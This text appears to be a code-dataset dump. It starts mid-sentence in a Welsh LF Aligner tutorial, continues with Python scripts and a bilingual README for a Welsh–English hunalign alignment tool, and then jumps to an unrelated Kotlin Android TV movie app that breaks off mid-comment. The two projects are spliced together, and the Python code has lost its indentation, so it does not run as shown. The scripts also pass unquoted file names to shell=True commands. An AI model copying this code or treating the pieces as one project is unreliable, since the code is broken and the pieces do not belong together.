er mwyn dechrau’r rhaglen. Bydd ffenest raffigol neu llinell orchymyn yn agor,
a bydd prompt yn gofyn am eich mewnbwn yn ôl yr angen.
(Nodyn: gall y broses ddechrau am y tro cyntaf fod yn araf iawn yn Windows. Jest
agorwch tan fod y prompt cyntaf yn ymddangos; bydd yn ymddangos ar ôl saib, a bydd
pethau yn cyflymu o hynny allan).
Darllenwch y promptiau, teipiwch a chliciwch pan gofynnir i chi wneud hynny a gwasgwch
Enter neu cliciwch Next. Bydd unrhyw negeseuon gwall yn cael eu dangos yn yr un ffenest.
Os aeth rhywbeth yn anghywir, darllenwch y negeseuon gwall yn ofalus, gwiriwch y log yn
y ffolder sgriptiau, a wedyn rhedwch y rhaglen eto os nad oes gennych unrhyw syniad
pam aeth pethau o’i le. Er mwyn tynnu y rhaglen, dilëwch ffolder yr aliniwr. Nid yw
LF Aligner yn gwneud unrhyw newidiadau i’r gofrestrfa na unrhyw osodiadau system eraill,
felly dim ond y ffolder sy’n cynnwys yr aliniwr sydd.
Mae’n cyngor da iawn creu ffolder newydd ar gyfer pob project alinio newydd, sydd yn
cynnwys dim ond y dwy ffeil bydd yn cael eu alinio, neu mae’n bosib y gall hen ffeiliau
gael eu trosysgrifo ac ati. Gall eich ffolder project fod unrhyw le ar eich cyfrifiadur.
(Nodyn: ar Windows, gwnewch yn sicr mai nodau ASCII yn unig byddwch yn eu defnyddio ar
gyfer enwau ffeiliau a ffolderi!) os byddwch yn defnyddio nodweddion gwe (er mwyn llwytho
i lawr ac alinio deddfwriaeth yr UE ac ati), bydd eich ffeiliau yn cael eu llwytho i lawr
i ffolder y rhaglen.
### Nodyn ar pob fformat dogfen mewnbwn:
mae gan mewnforio unrhyw ddogfen “rich text”, h.y. unrhyw
beth ond am txt a (gobeithio) tmx y potensial i fod yn ‘lossy’ (h.y y gall rai o nodweddion y
ffeil wreiddiol gael eu colli). Er enghraifft, os yw eich pdf, html, doc, docx, rtf neu unrhyw
ffeil arall yn cynnwys tablau, mae’n debygol y bydden nhw yn dod allan yn anghywir. Mae’n well
delio gyda tablau a llaw, h.y. dylech symud pob cell i linell ar wahân ar gyfer y canlyniadau
gorau. Mae’r rhan fwyaf o elfennau sy’n ymddangos mewn testun a redir yn gweithio yn dda, ond
dim addewidion, yn enwedig o ran pdf. Gall hypergysylltiadau, symbolau arbennig, troednodiadau,
penynnau ac yn gyffredinol pob dim heblaw am redeg testun gyda “nodau arferol” arwain at ganlyniad
nad oeddech yn ei ddisgwyl. Ffeiliau mewnbwn txt bydd wastad y fformat mwyaf saff, felly defnyddiwch
txt pob tro lle mae’n bosib gwneud hyn.
### Nodyn ar fewnforio dogfennau:
gwneir hyn gyda Antiword, sy’n gweithio yn eithaf da, er nad ydyw wedi
ei destio llawer. Nid yw pennau na throednodiadau yn cael eu cadw, ond bydd testun cudd yn.
Ychwanegir troednodiadau at diwedd y ddogfen. Cynrychiolir lluniau gan [pic], a bydd yr aliniwr
yn dileu hyn os mae ar linell ar ben ei hun. Ar Windows, dylai trosi dogfennau weithio yn syth,
jest dechreuwch LF Aligner a gollyngwch eich ffeiliau doc i mewn. Mae’r fersiwn Windows o Antiword
angen y ffeil C:\antiword\UTF-8.txt, felly fe grëir hwn gan yr aliniwr. Dyma’r unig ffeil mae’r aliniwr
yn creu neu yn addasu tu allan i’w ffolder ei hun.
(Nodyn: anwybyddwch y negeseuon sy’n dweud “ni allaf ffeindio enw eich cyfeiriadur CARTREF”, nid ydynt yn bwysig.)
### Nodyn ar mewnforio docx:
mae hyn yn defnyddio docx2txt, a’i becynnir gyda LF Aliniwr ym mhob fersiwn, ac mae’n
gweithio yn eithaf da, ac yn echdynnu testun hyd yn oed o ffeiliau docx llwgr.
Tynnir penynnau tudalen, troedynnau, troednodiadau – gellir ystyried hyn yn nodwedd ddefnyddiol, a nid yn wall.
Caiff nodau cudd eu cadw, felly dilëwch nhw yn gyntaf os nad ydych chi eu heisiau yn eich peiriant cyfieithu.
Mae’r cyngor yma hefyd yn wir ar gyfer ffeiliau .doc.
### Nodyn ar fewnforio rtf:
gwneir hyn gyda Abiword. Os ydych yn defnyddio OS X neu Linux, bydd angen i chi osod
Abiword eich hun. Yn Ubuntu, gallwch ei ddarganfod yn y ganolfan feddalwedd. Hefyd,
gwelwch [http://www.abisource.com/download/index.phtml](http://www.abisource.com/download/index.phtml).
Abiword yw amddiffyniad gorau yr aliniwr yn erbyn ffeiliau mewnbwn rhyfedd: os wnewch chi yn enwi y math ffeil
cyffredin “t” ac mae estyniad eich ffeil yn rhywbeth gwahanol i txt, doc neu docx, defnyddir Abiword er mwyn
ceisio trosi eich ffeil mewn i un txt. Dylai hyn weithio gyda ffeiliau abw Abiword ei hunan, yn ogystal a docm,
odt a mwy o fformatau ffeiliau eraill sy’n bodoli. Mae’n bosib y byddech yn gallu gosod rhai o ategion Abiworld
a derbyn cymorth ar gyfer hyd yn oed mwy o fformatau egsotig.
### Nodiadau ar fewnforio pdf:
Yn amlwg, ni fydd y broses yma yn gweithio gyda ffeiliau pdf sy’n cynnwys delweddau
sydd wedi eu sganio o ddogfennau – heblaw eu bod nhw’n digwydd bod yn ffeiliau pdf OCRed dwy haen sy’n cynnwys
y testun waelodol yn ogystal a’r ddelwedd. Mae’r fformat pdf yn un lletchwith; mae echdynnu testun mewn modd
dibynadwy yn amhosib gyda unrhyw ddull awtomatig. Dyna’r broblem gyda pdf, a does prin dim gallwch wneud am hyn.
Mae 4 opsiwn gallech drio gyda’r pdf, gyda phob un yn cynnig canlyniad diwedd ychydig yn wahanol.
Does dim un ffordd sydd well, mae’r dull gorau ar gyfer unrhyw ffeil yn dibynnu ar natur y ffeil ei hun.
1. Defnyddiwch “cadw fel testun” yn Acrobat Reader, wedyn ail gadwch y ffeil txt a gynhyrchwyd gan Acrobar Reader mewn UTF-8 a rhedwch yr aliniwr ar y ffeil testun mewn modd pdf (p)
2. Rhedwch yr aliniwr yn uniongyrchol ar y ffeiliau pdf gyda’r gosodiadau rhagosodedig
3. Rhedwch yr aliniwr yn uniongyrchol ar y ffeiliau pdf ar ôl newid yr opsiwn “modd trosi pdf” yn y ffeil osodiadau i n
4. Copïwch a gludwch destun o’r pdf i mewn i txt a rhedwch yr aliniwr arno yn modd txt (t)
Yn gyffredinol, mae (1) h.y. mewnforio i fformat txt yn Acrobat Reader yn gweithio rhywfaint yn well na cheisio
bwydo y pdf yn uniongyrchol i’r aliniwr os oes gan y ffeil leoliad testun aflinol, megis testun mewn colofnau neu
dablau neu ar ymylon y dudalen. Oherwydd hyn, cynghorir mewnforio bob tro ar gyfer ffeiliau pdf. Mae’r weithdrefn
fel a ganlyn: agorwch y pdf yn Adobe Acrobat Reader, liciwch File/Cadw fel testun. Yna agorwch y ffeil ganlynol
gyda Notepad, dewiswch Ffeil/Cadw fel ac ail-gadwch gyda amgodio UTF-8. Yna defnyddiwch y math ffeil “p” yn yr
aliniwr. Peidiwch a rhedeg yr aliniwr yn y modd “t” ar ffeiliau pdf wedi eu allforio! Mae’r nodwedd trosi
sy’n rhan o’r rhaglen (a ddefnyddiwyd yn opsiynau 2 a 3 uchod) wedi ei ddylunio ar gyfer sefyllfaoedd lle
mae gennych nifer fawr o ffeiliau i’w alinio a lle byddai eu allforio yn cymryd gormod o amser (h.y. mae wedi
ei greu ar gyfer modd swp). Gallwch addasu ei ymddygiad drwy’r gosodiad “modd trosi pdf” yn y dudalen gysodi
((mae’r gosodiad “y” yn gweithio yn well gyda thablau, ac mae’n gwneud ffeiliau txt yn haws i’w adolygu ac mae’n
well am gadw’r segmentau sydd ar wahân, ar wahân, felly “y” yw’r dewis rhagosodedig er ei fod yn gwneud
jobyn gwaeth gyda nodiadau ochr a colofnau). Ar y cyfan, mae tipyn yn waeth gyda testun aflinol na allforio o
Acrobat Reader. Mae’n hollol dderbyniol ar gyfer rhedeg testun, er fod penynnau a troedynnau yn cael eu gadael
yn y testun am dad yw hi wir yn bosib eu hidlo allan yn awtomatig. Byddai hefyd yn bosib copïo a gludo o’r pdf
i mewn i ffeil destun, ond unwaith bod gennych ffeil pdf wedi ei hagor yn Acrobat Reader, byddai’n well i chi
jest ei fewnforio.
Os yw eich ffeiliau gwreiddiol mewn fformat heb gefnogaeth, gallwch unai eu cadw nhw mewn .doc neu .docx neu copïo a
gludo eu cynnwys i mewn i Notepad (neu unrhyw olygydd testun arall) a’u cadw nhw fel TXT gyda amgodio UTF-8
(nid gosodiad rhagosodedig Notepad yw hyn, felly mae’n rhaid i chi osod UTF-8 yn y dialog “Cadw Fel”.
Gwelwch "Defnyddio Trados er mwyn/echdynnu segmentu testun" ar gyfer cymorth ynglŷn a sut mae defnyddio .ppt ac
unrhyw fformat yn gyffredinol mae eich CAT yn gyfarwydd ag ef.
Tynnwch rifau tudalen a penynnau a troedynnau o’ch ffeiliau txt cyn rhedeg yr aliniwr (mae angen hyn fel arfer
dim ond os oedd y gwreiddiol yn pdf). Darllenwch mwy ynglŷn a nodwedd chwilio a disodli wildcat Microsoft Word
i weld sut mae tynnu penynnau a troedynnau sy’n cynnwys rhifau tudalen sy’n rhedeg gan ddefnyddio un gorchymyn:
[accurapid.com/journal/15msw.htm](http://accurapid.com/journal/15msw.htm). Mae hyn yn bwysig, oherwydd os byddwch
yn gadael rhain i mewn, bydd hunalign yn paru y penynnau a throedynnau sy’n matsio gyda’u gilydd, fydd yn gwneud
llanast o aliniad y testunau sydd rhyngddyn nhw – heblaw bod toriadau tudalen yn cael eu gosod mewn dull unffurf
yn y dogfennau gwreiddiol.
### Cysodi:
Mae’n debyg eich bod chi wedi sylwi ar y ffeil aligner_setup.txt. Mae’r ffeil yma yn caniatáu i chi addasu ymddygiad
LF Aligner. Agorwch y ffeil a newidiwch y gwerthoedd yn y [] fel y mynnwch.
Os yw eich ffeil txt (xml ac ati) yn cynnwys tagiau wedi eu amgáu ac rydych chi eisiau cael gwared arnyn nhw, newidiwch
yr estyniad i html a dywedwch wrth y sgript ei fod yn ffeil html. Caiff pob dim oddi mewn ei ddileu heblaw am , , bydd
yn cael eu trosi yn doriadau llinellau (ac felly yn troi i mewn i amffinyddion segmentau). Er mwyn gorfodi toriadau
segmentau, gosodwch tagiau (anwybyddir toriadau llinell mewn ffeiliau sydd wedi eu tagio).
Mae’r sgript yn cadw ffeiliau wrth gefn o’r ffeiliau gwreiddiol.
### Ffeiliau allbwn eraill:
aligned_XXX.txt yw’r ffeil wedi’i alinio wedi ei amffinio gan dabiau y mae Hunalign yn ei
gynhyrchu, h.y. y prif ffeil allbwn. (Bydd y drydedd golofn yn cynnwys y wybodaeth ffynhonnell, a’r bedwaredd
golofn yn cynnwys y gwerth hyder cydweddu os byddwch chi’n galluogi hwnnw). Mae gan .xls yr un cynnwys, yn ogystal
a cyfarwyddiadau adolygu. Dylai XXX.tmx fod yn amlwg.
### Cymorth ar gyfer adolygu yr aliniad
Os mai defnyddiwr Windows ydych chi, dylai’r golygydd raffigol fod y dewis rhagosodedig o fersiwn 4.0. ymlaen, a
dyma’r dewis mwyaf hwylus o bellffordd. Mae rhai cyfarwyddiadau ar gael yn Help/Usage, ac mae mwy o wybodaeth ar
gael yn y readme yn aligner/other_tools.
Pan rydych wedi gorffen, gwnewch yn sicr eich bod chi’n gadael y rhaglen gan ddefnyddio File/Save exit, a nid
drwy gau y ffenest.
Ar gyfer defnyddwyr Linux/a Mac, mae cyfarwyddiadau ar sut i adolygiad yn Excel ar daenlen 2 o’r ffeil xls a
gynhyrchwyd gan yr aliniwr. Darparir macro yn aligner/scripts/MergeCells.xla er mwyn cyflymu y broses.
<file_sep>/hunalign2html.py
import re
import codecs
def hunalign2html(hunalign_file, name):
out_file = u"%s.html" % (name)
f1 = codecs.open(out_file,"w","utf8")
hf = codecs.open(hunalign_file,"r","utf8")
f1.write("""
<html>
<head></head>
<body>
<table>
""")
for line in hf:
fields = re.split(r'\t+', line.rstrip('\t'))
f1.write("\n<tr><td>%s</td><td>%s</td></tr>" % (fields[1], fields[0]))
f1.write("""
</table>
</body>
""")
f1.close()
hf.close()
if __name__ == '__main__':
hunalign2html('Mozilla-Align.csv','Mozilla')
<file_sep>/tmx2bitxtfiles.py
import codecs
from lxml import etree
from xml.etree import ElementTree as ET
from argparse import ArgumentParser
def convert(source_file, file_en, file_cy):
tree=etree.parse(source_file)
tus=tree.xpath('//tu')
print (len(tus))
focy = codecs.open(file_cy, "w", "utf8")
foen = codecs.open(file_en, "w", "utf8")
for tu in tus:
# print (ET.tostring(tu))
segs=tu.xpath('.//tuv/seg/text()')
if (len(segs) == 2):
en = segs[0].replace('\n','').replace('\r','')
cy = segs[1].replace('\n','').replace('\r','')
if ( len(en)>1 and len(cy) > 1):
print (en)
foen.write("\n" + en)
focy.write("\n" + cy)
focy.close()
foen.close()
if __name__ == '__main__':
parser = ArgumentParser(description="Trosi ffeiliau TMX i ddwy ffeil")
parser.add_argument('-s', '--source-tmx', dest="source_file", required=True, help="Ffeil testun Saesneg")
parser.add_argument('-e', '--english', dest="file_en", required=True, help="Ffeil testun Saesneg")
parser.add_argument('-c', '--cymraeg', dest='file_cy', required=True, help="Ffeil testun Cymraeg")
#args = parser.parse_args()
args = vars(parser.parse_args())
try:
#args.func(**vars(args))
convert(args['source_file'], args['file_en'], args['file_cy'])
except Exception as e:
print(e)
<file_sep>/hunalign2bitext.py
import re
import codecs
from argparse import ArgumentParser
def hunalign2bitext(hunalign_file, name, lang1, lang2):
out_file1 = u"%s.%s" % (name, lang1)
out_file2 = u"%s.%s" % (name, lang2)
f1 = codecs.open(out_file1,"w","utf8")
f2 = codecs.open(out_file2,"w","utf8")
hf = codecs.open(hunalign_file,"r","utf8")
for line in hf:
fields = re.split(r'\t+', line.rstrip('\t'))
print (fields)
print (fields[2])
f1.write("\n" + fields[1])
f2.write("\n" + fields[0])
f1.close()
f2.close()
hf.close()
if __name__ == '__main__':
parser = ArgumentParser(description="Trosi ffeiliau TMX i ddwy ffeil")
parser.add_argument('-s', '--source-csv', dest="source_csv", required=True, help="Ffeil testun Saesneg")
parser.add_argument('-n', '--name', dest="base_filename", required=True, help="Enw'r ffeil ")
args = vars(parser.parse_args())
try:
hunalign2bitext(args['source_csv'], args['base_filename'], 'en','cy')
except Exception as e:
print(e)
<file_sep>/alinio_mawr.py
import codecs
import nltk.data
import subprocess
import os
from argparse import ArgumentParser
import sys
class AliniwrError(Exception):
pass
try:
sentence_detector = nltk.data.load('tokenizers/punkt/english.pickle')
except LookupError:
os.system("./gosod_nltk.sh")
sentence_detector = nltk.data.load('tokenizers/punkt/english.pickle')
local_hunalign = "/hunalign-1.1/src/hunalign/hunalign"
def alinio(file_cy, file_en, out_file, batch_name):
have_hunalign = False
status = os.system("hunalign >/dev/null 2>&1")
if status != 127 or os.path.exists(local_hunalign):
have_hunalign = True
if not have_hunalign:
print("Mae angen i chi llwytho'r meddalwedd HunAlign i lawr cyn all defnyddio'r aliniwr....")
print("Ewch i http://mokk.bme.hu/en/resources/hunalign/ am manylion")
return
#cmd = "./hunalign-1.1/src/hunalign/hunalign hunalign-1.1/data/cy-en.dic -text -utf -realign '%s' '%s'" % (file_cy, file_en)
cmd = "python hunalign-1.1/scripts/partialAlign.py %s %s %s cy en 5000 > %s " % (file_cy, file_en, out_file, batch_name)
subprocess.call(cmd, shell=True)
def alinio_batch(batch_name):
cmd = "./hunalign-1.1/src/hunalign/hunalign hunalign-1.1/data/cy-en.dic -text -utf -realign -batch %s" % (batch_name)
#cmd = "python hunalign-1.1/scripts/partialAlign.py %s %s %s cy en 5000 > %s " % (file_cy, file_en, out_file, batch_name)
subprocess.call(cmd, shell=True)
def brawddegau(in_file):
out_file = u"%s-token%s" % (os.path.splitext(in_file))
fo = codecs.open(out_file,"w","utf8")
try:
with codecs.open(in_file,'r',encoding='utf8') as fi:
for rawtext in fi:
sentences = sentence_detector.tokenize(rawtext.strip())
for sentence in sentences:
fo.write("\n" + sentence)
except Exception as e:
raise AliniwrError(str(e))
finally:
fo.close()
return out_file
def main(file_cy, file_en, out_file, batch_name, detect_sentences, **args):
if (detect_sentences=='YES'):
cy_aligned = brawddegau(file_cy)
en_aligned = brawddegau(file_en)
alinio(cy_aligned, en_aligned, out_file, batch_name)
else:
alinio(file_cy, file_en, out_file, batch_name)
alinio_batch(batch_name)
if __name__ == '__main__':
parser = ArgumentParser(description="Aliniwr Syml Python")
parser.add_argument('-e', '--english', dest="file_en", required=True, help="Ffeil mawr Saesneg i'w alinio")
parser.add_argument('-c', '--cymraeg', dest='file_cy', required=True, help="Ffeil mawr Cymraeg i'w alinio")
parser.add_argument('-b', '--batchname', dest='batch_name', required=True, help="Enw ar gyfer y casgliad o ffeiliau ar gyfer alinio llawn")
parser.add_argument('-s', '--sentence-detect', dest='detect_sentences', required=True, help="Os dylid canfod brawddegau (YES / NO)")
parser.add_argument(dest='out_file', help="Ffeil i cadw allbwn hunalign. Defnyddiwch '-' ar gyfer stdout")
parser.set_defaults(func=main)
args = parser.parse_args()
try:
args.func(**vars(args))
except Exception as e:
print(e)
print("e.e. python alinio_mawr.py -e CofnodYCynulliad/CofnodYCynulliad.en -c CofnodYCynulliad/CofnodYCynulliad.cy -b CofnodYCynulliad/hunspell_batch CofnodYCynulliad/CofnodYCynulliad.aligned")
<file_sep>/README.md
# Alinio
Er mwyn alinio testunau Cymraeg a Saesneg, rydym yn awgrymu eich bod chi'n defnyddio [hunalign](http://mokk.bme.hu/en/resources/hunalign/) fel y gwelir isod.
Mae hunalign yn rhaglen ar ffurf gorchmynion terfynnell.
Os oes well gennych chi ddefnyddio rhaglen gyda rhyngwyneb, mae [LF Aligner](http://aligner.sourceforge.net/) yn ddewis da ar gyfer Windows.
### Gosod y Meddalwedd Alinio
Mae'r project yma yn cynnwys cod Python sy'n hwyluso defnyddio hunalign o fewn terfynnell.
Cyn cychwyn alinio, bydd angen 3 peth:
* Gosod Hunalign (neu LF Aligner) ar eich peiriant gyda'r gorchmynion canlynol:
```sh
$ wget ftp://ftp.mokk.bme.hu/Hunglish/src/hunalign/latest/hunalign-1.1.tgz
$ tar zxvf hunalign-1.1.tgz
$ cd hunalign-1.1/src/hunalign
$ make
```
* Gosod NLTK, bydd o gymorth wrth segmentu'r testun yn frawddegau:
```sh
$ sudo easy_install pip
$ sudo pip install -U nltk
```
* Gosod ffeil `.dic` ar gyfer hunalign a ddarparir gennym ni:
```sh
$ wget http://techiaith.org/alinio/hunalign/cy-en.dic -O hunalign-1.1/data/cy-en.dic
```
Ar ôl dod â'r tri peth yma at eu gilydd, mae modd i chi alinio.
### Alinio ffeiliau testun
Defnyddiwch y sgript python `alinio.py` er mwyn alinio ffeiliau testun.
Mae angen 3 'mewnbwn' ar y sgript:
* Eich ffeil testun Saesneg
* Eich ffeil testun Cymraeg
* Enw ar gyfer ffeil allbwn y data sydd wedi'i alinio (neu `-` ar gyfer stdout)
Yna gallwch redeg y sgript gyda'r gorchymyn isod:
```sh
$ python alinio.py -e ffeil_saesneg.txt -c ffeil_cymraeg.txt allbwn.txt
```
Agorwch y ffeil `allbwn.txt` er mwyn gweld y data wedi'i alinio:
```
Ffonau symudol Android ac iOS Android and iOS mobile phones 1.3
Cyfrifiaduron bwrdd gwaith Desktop computers 0.158824
Gliniaduron Laptops 0.15
Pa Wasanaethau API sydd ar gael? What API Services are available? 0.789286
```
### Twitorial LFAligner
Gweler y ffeil [LFAligner](tut/LFAligner.md) am fwy o wybodaeth.
--------
# Aligning
In order to align Welsh and English texts, we recommend that you use [hunalign](http://mokk.bme.hu/en/resources/hunalign/) as seen below.
Hunalign uses a terminal and command line interface.
If you prefer a programme with a graphical interface, [LF Aligner](http://aligner.sourceforge.net/) is a good option for Windows.
## Setup
This project contains Python code which makes using hunalign in a terminal easier.
Before starting your alignment, you will need 3 things:
* An installation of hunalign (or LF Aligner) on your machine
```sh
$ wget ftp://ftp.mokk.bme.hu/Hunglish/src/hunalign/latest/hunalign-1.1.tgz
$ tar zxvf hunalign-1.1.tgz
$ cd hunalign-1.1/src/hunalign
$ make
```
* An installation of NLTK, which will help you in the process of segmenting text into
sentences:
```sh
$ sudo easy_install pip
$ sudo pip install -U nltk
```
* A `.dic` file used by hunalign which we distribute
```sh
$ cd hunalign-1.1/data
$ wget http://techiaith.org/alinio/hunalign/cy-en.dic -O hunalign-1.1/data/cy-en.dic
```
After bringing together these three elements, you are ready to start aligning your text.
### Alinining text files
User the Python script `alinio.py` to align your text files1
The script requirest three input parameters:
* The name of your English text file
* The name of your Welsh text file
* A name for your output file where aligned data is stored. (use `-` for stdout)
You can then use the script in the following way:
```sh
$ python alinio.py -e enlgish_file.txt -c welsh_file.txt output.txt
```
Open the `output.txt` file to see your aligned data:
```
Ffonau symudol Android ac iOS Android and iOS mobile phones 1.3
Cyfrifiaduron bwrdd gwaith Desktop computers 0.158824
Gliniaduron Laptops 0.15
Pa Wasanaethau API sydd ar gael? What API Services are available? 0.789286
```
### LFAligner Tutorial
See the file [LFAligner](tut/LFAligner.md) for more information.
| 378632e3f655c5f53c47bd56bedb07fe93b67f8c | [
"Markdown",
"Python"
] | 8 | Python | PorthTechnolegauIaith/alinio | 112161dd0b0cba05a16e42e1ce6fce276c851840 | e29cd18ce994f78db5129cf1aca6307e46829265 |
refs/heads/master | <repo_name>poojalad1424/TvMoviesApplication<file_sep>/app/src/main/java/com/example/tvmoviesapplication/movies/interfaces/CellClickListener.kt
package com.example.tvmoviesapplication.movies.interfaces
import com.example.tvmoviesapplication.movies.model.Movie
import com.example.tvmoviesapplication.movies.utils.MovieType
interface CellClickListener {
fun onCellClickListener(data: Movie, type: MovieType, index : Int)
}<file_sep>/app/src/main/java/com/example/tvmoviesapplication/movies/model/MovieResponse.kt
package com.example.tvmoviesapplication.movies.model
class MovieResponse {
var page: Int = 0
var total_results: Int = 0
var total_pages: Int = 0
var results: List<Movie> = listOf()
}<file_sep>/app/src/main/java/com/example/tvmoviesapplication/movies/utils/PersistentWrapper.kt
package com.example.tvmoviesapplication.movies.utils
import android.content.Context
import android.graphics.Rect
import android.os.Parcel
import android.os.Parcelable
import android.util.AttributeSet
import android.view.View
import android.view.ViewGroup
import android.widget.FrameLayout
import java.util.ArrayList
class PersistentWrapper(context: Context, attrs: AttributeSet?) : FrameLayout(context, attrs) {
private val mPersistFocusVertical = true
private var mSelectedPosition = -1
internal fun getGrandChildCount(): Int {
val wrapper = getChildAt(0) as ViewGroup
return wrapper?.childCount ?: 0
}
private fun shouldPersistFocusFromDirection(direction: Int): Boolean {
return mPersistFocusVertical && (direction == View.FOCUS_UP || direction == View.FOCUS_DOWN) || !mPersistFocusVertical && (direction == View.FOCUS_LEFT || direction == View.FOCUS_RIGHT)
}
override fun addFocusables(views: ArrayList<View>?, direction: Int, focusableMode: Int) {
if (hasFocus() || getGrandChildCount() == 0 ||
!shouldPersistFocusFromDirection(direction)
) {
super.addFocusables(views, direction, focusableMode)
} else {
// Select a child in requestFocus
views?.add(this)
}
}
override fun requestChildFocus(child: View?, focused: View?) {
super.requestChildFocus(child, focused)
var view: View? = focused
while (view != null && view.parent !== child) {
try {
view = view.parent as View
} catch (e: ClassCastException) {
view = null
}
}
mSelectedPosition = if (view == null) -1 else (child as ViewGroup).indexOfChild(view)
}
override fun requestFocus(direction: Int, previouslyFocusedRect: Rect?): Boolean {
val wrapper = getChildAt(0) as ViewGroup
if (wrapper != null && mSelectedPosition >= 0 && mSelectedPosition < getGrandChildCount()) {
if (wrapper.getChildAt(mSelectedPosition).requestFocus(
direction, previouslyFocusedRect
)
) {
return true
}
}
return super.requestFocus(direction, previouslyFocusedRect)
}
internal class SavedState : View.BaseSavedState {
var mSelectedPosition: Int = 0
constructor(`in`: Parcel) : super(`in`) {
mSelectedPosition = `in`.readInt()
}
constructor(superState: Parcelable?) : super(superState) {}
override fun writeToParcel(dest: Parcel, flags: Int) {
super.writeToParcel(dest, flags)
dest.writeInt(mSelectedPosition)
}
override fun describeContents(): Int {
return 0
}
companion object CREATOR : Parcelable.Creator<SavedState> {
override fun createFromParcel(parcel: Parcel): SavedState {
return SavedState(
parcel
)
}
override fun newArray(size: Int): Array<SavedState?> {
return arrayOfNulls(size)
}
}
}
override fun onSaveInstanceState(): Parcelable? {
val savedState =
SavedState(super.onSaveInstanceState())
savedState.mSelectedPosition = mSelectedPosition
return savedState
}
override fun onRestoreInstanceState(state: Parcelable?) {
val savedState = state as SavedState
mSelectedPosition = state.mSelectedPosition
super.onRestoreInstanceState(savedState.superState)
}
}<file_sep>/app/src/main/java/com/example/tvmoviesapplication/movies/viewmodel/BaseViewModel.kt
package com.example.tvmoviesapplication.movies.viewmodel
import androidx.lifecycle.ViewModel
import com.example.tvmoviesapplication.movies.dagger.DaggerViewModelInjector
import com.example.tvmoviesapplication.movies.utils.ServiceGenerator
import com.example.tvmoviesapplication.movies.dagger.ViewModelInjector
abstract class BaseViewModel: ViewModel(){
private val injector: ViewModelInjector = DaggerViewModelInjector.builder()
.serviceGenerator(ServiceGenerator)
.build()
init {
inject()
}
/**
* Injects the required dependencies
*/
private fun inject() {
when (this) {
is MovieListViewModel -> injector.inject(this)
}
}
}<file_sep>/app/src/main/java/com/example/tvmoviesapplication/movies/utils/ServiceGenerator.kt
package com.example.tvmoviesapplication.movies.utils
import com.example.tvmoviesapplication.movies.interfaces.MovieApi
import dagger.Module
import dagger.Provides
import dagger.Reusable
import io.reactivex.schedulers.Schedulers
import okhttp3.OkHttpClient
import okhttp3.logging.HttpLoggingInterceptor
import retrofit2.Retrofit
import retrofit2.adapter.rxjava2.RxJava2CallAdapterFactory
import retrofit2.converter.gson.GsonConverterFactory
import java.util.concurrent.TimeUnit
/**
* Module which provides all required dependencies about network
*/
@Module
// Safe here as we are dealing with a Dagger 2 module
@Suppress("unused")
object ServiceGenerator {
/**
* Provides the Post service implementation.
* @param retrofit the Retrofit object used to instantiate the service
* @return the Post service implementation.
*/
@Provides
@Reusable
@JvmStatic
internal fun provideMovieApi(retrofit: Retrofit): MovieApi {
return retrofit.create(MovieApi::class.java)
}
/**
* Provides the Retrofit object.
* @return the Retrofit object
*/
@Provides
@Reusable
@JvmStatic
internal fun provideRetrofitInterface(): Retrofit {
val interceptor: HttpLoggingInterceptor = HttpLoggingInterceptor().apply {
this.level = HttpLoggingInterceptor.Level.BODY
}
val client: OkHttpClient = OkHttpClient.Builder().apply {
this.addInterceptor(interceptor)
}.readTimeout(2, TimeUnit.SECONDS)
.connectTimeout(2, TimeUnit.SECONDS).build()
return Retrofit.Builder()
.baseUrl(BASE_URL)
.client(client)
.addConverterFactory(GsonConverterFactory.create())
.addCallAdapterFactory(RxJava2CallAdapterFactory.createWithScheduler(Schedulers.io()))
.build()
}
}<file_sep>/app/src/main/java/com/example/tvmoviesapplication/movies/interfaces/MovieApi.kt
package com.example.tvmoviesapplication.movies.interfaces
import com.example.tvmoviesapplication.movies.model.MovieResponse
import io.reactivex.Observable
import retrofit2.http.GET
import retrofit2.http.Query
interface MovieApi {
@GET("popular?")
fun getPopularMovies(@Query("api_key") api_key: String,
@Query("language") language: String,
@Query("page") page: Int): Observable<MovieResponse>
@GET("upcoming?")
fun getUpcomingMovies(@Query("api_key") api_key: String,
@Query("language") language: String,
@Query("page") page: Int): Observable<MovieResponse>
@GET("top_rated?")
fun getTopRatedMovies(@Query("api_key") api_key: String,
@Query("language") language: String,
@Query("page") page: Int): Observable<MovieResponse>
}<file_sep>/app/build.gradle
apply plugin: 'com.android.application'
apply plugin: 'kotlin-android'
apply plugin: 'kotlin-kapt'
apply plugin: 'kotlin-android-extensions'
android {
compileSdkVersion 29
buildToolsVersion "29.0.3"
defaultConfig {
applicationId "com.example.tvmoviesapplication"
minSdkVersion 21
targetSdkVersion 29
versionCode 1
versionName "1.0"
kapt {
generateStubs = true
}
}
buildTypes {
release {
minifyEnabled false
proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
}
}
dataBinding {
enabled = true
}
}
dependencies {
implementation fileTree(dir: 'libs', include: ['*.jar'])
implementation "org.jetbrains.kotlin:kotlin-stdlib-jdk7:$kotlin_version"
implementation 'androidx.leanback:leanback:1.0.0'
implementation 'androidx.appcompat:appcompat:1.0.2'
implementation "android.arch.lifecycle:extensions:$lifecycle_version"
implementation "com.android.support:appcompat-v7:$android_support_version"
implementation "com.android.support.constraint:constraint-layout:1.1.2"
implementation "com.android.support:recyclerview-v7:$android_support_version"
// Retrofit
implementation "com.squareup.retrofit2:retrofit:$retrofit_version"
implementation "com.squareup.retrofit2:adapter-rxjava2:$retrofit_version"
implementation "com.squareup.retrofit2:converter-gson:$retrofit_version"
implementation "com.squareup.okhttp3:okhttp:${okHttpVersion}"
implementation "com.squareup.okhttp3:logging-interceptor:${okHttpVersion}"
// Dagger 2
implementation "com.google.dagger:dagger:$dagger2_version"
implementation 'androidx.legacy:legacy-support-v4:1.0.0'
implementation 'androidx.constraintlayout:constraintlayout:1.1.3'
kapt "com.google.dagger:dagger-compiler:$dagger2_version"
annotationProcessor "com.google.dagger:dagger-android-processor:$dagger2_version"
//Rx
implementation 'io.reactivex.rxjava2:rxjava:2.2.2'
implementation 'io.reactivex.rxjava2:rxandroid:2.1.0'
implementation 'com.github.bumptech.glide:glide:4.9.0'
}
<file_sep>/app/src/main/java/com/example/tvmoviesapplication/movies/dagger/ViewModelInjector.kt
package com.example.tvmoviesapplication.movies.dagger
import com.example.tvmoviesapplication.movies.utils.ServiceGenerator
import com.example.tvmoviesapplication.movies.viewmodel.MovieListViewModel
import dagger.Component
import javax.inject.Singleton
/**
* Component providing inject() methods for presenters.
*/
@Singleton
@Component(modules = [(ServiceGenerator::class)])
interface ViewModelInjector {
/**
* Injects required dependencies into the specified PostListViewModel.
